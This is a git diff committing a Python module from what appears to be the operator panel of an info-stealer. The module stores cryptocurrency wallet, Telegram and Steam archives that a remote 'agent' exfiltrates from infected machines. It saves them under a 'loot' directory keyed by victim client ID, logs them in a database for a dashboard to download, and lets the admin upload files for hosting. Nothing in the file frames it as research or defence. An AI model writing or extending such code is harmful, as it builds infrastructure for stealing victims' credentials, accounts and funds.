initial commit
This commit is contained in:
+121
@@ -0,0 +1,121 @@
|
||||
"""
|
||||
Binary payload storage for the panel.
|
||||
|
||||
Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are
|
||||
written to disk under loot/<client_id>/ so they're persisted as a backup, and
|
||||
tracked in the blobs table so the dashboard can list + download them.
|
||||
"""
|
||||
import base64
|
||||
import os
|
||||
import time
|
||||
|
||||
import db
|
||||
|
||||
# Root directory for all hosted payloads. Auto-created on first write.
|
||||
LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot")
|
||||
|
||||
# Match the request size that the agent is allowed to send in one payload.
|
||||
# Guard: refuse a single blob beyond this (avoids filling the disk).
|
||||
MAX_BLOB = 64 * 1024 * 1024 # 64 MB
|
||||
|
||||
|
||||
def save_payload(client_id, blob, conn=None):
|
||||
"""Persist one payload dict from the agent. blob has keys:
|
||||
category, name, filename, size, data (base64 str). Returns the blob row id.
|
||||
|
||||
If `conn` is provided (an already-open transaction, e.g. during ingest) the
|
||||
DB insert runs on that connection and is NOT committed; otherwise a fresh
|
||||
connection is used and committed."""
|
||||
filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_")
|
||||
data_b64 = blob.get("data", "")
|
||||
try:
|
||||
raw = base64.b64decode(data_b64)
|
||||
except Exception as e:
|
||||
raise ValueError(f"bad base64 payload: {e}")
|
||||
if len(raw) > MAX_BLOB:
|
||||
raise ValueError("payload too large")
|
||||
|
||||
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
||||
path = os.path.join(LOOT_ROOT, client_id, filename)
|
||||
with open(path, "wb") as f:
|
||||
f.write(raw)
|
||||
|
||||
ts = int(time.time())
|
||||
if conn is not None:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
||||
)
|
||||
return cur.lastrowid
|
||||
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
||||
)
|
||||
conn.commit()
|
||||
return cur.lastrowid
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def upload_public(filename, data, category="upload"):
|
||||
"""Store an admin-uploaded file under loot/upload/ and track it in blobs.
|
||||
|
||||
Returns the blob row id."""
|
||||
raw = data if isinstance(data, (bytes, bytearray)) else data.encode()
|
||||
if len(raw) > MAX_BLOB:
|
||||
raise ValueError("file too large")
|
||||
filename = (filename or "download").replace("/", "_").replace("\\", "_")
|
||||
client_id = "upload"
|
||||
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
||||
path = os.path.join(LOOT_ROOT, client_id, filename)
|
||||
with open(path, "wb") as f:
|
||||
f.write(raw)
|
||||
|
||||
ts = int(time.time())
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, category or "upload", filename, filename, len(raw), ts),
|
||||
)
|
||||
conn.commit()
|
||||
return cur.lastrowid
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def blobs_for(client_id=None):
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
if client_id:
|
||||
rows = conn.execute(
|
||||
"SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,)
|
||||
).fetchall()
|
||||
else:
|
||||
rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def blob_path(client_id, blob_id):
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
row = conn.execute(
|
||||
"SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id)
|
||||
).fetchone()
|
||||
finally:
|
||||
conn.close()
|
||||
if not row:
|
||||
return None
|
||||
d = dict(row)
|
||||
path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"])
|
||||
if not os.path.exists(path):
|
||||
return None
|
||||
return path
|
||||
Reference in New Issue
Block a user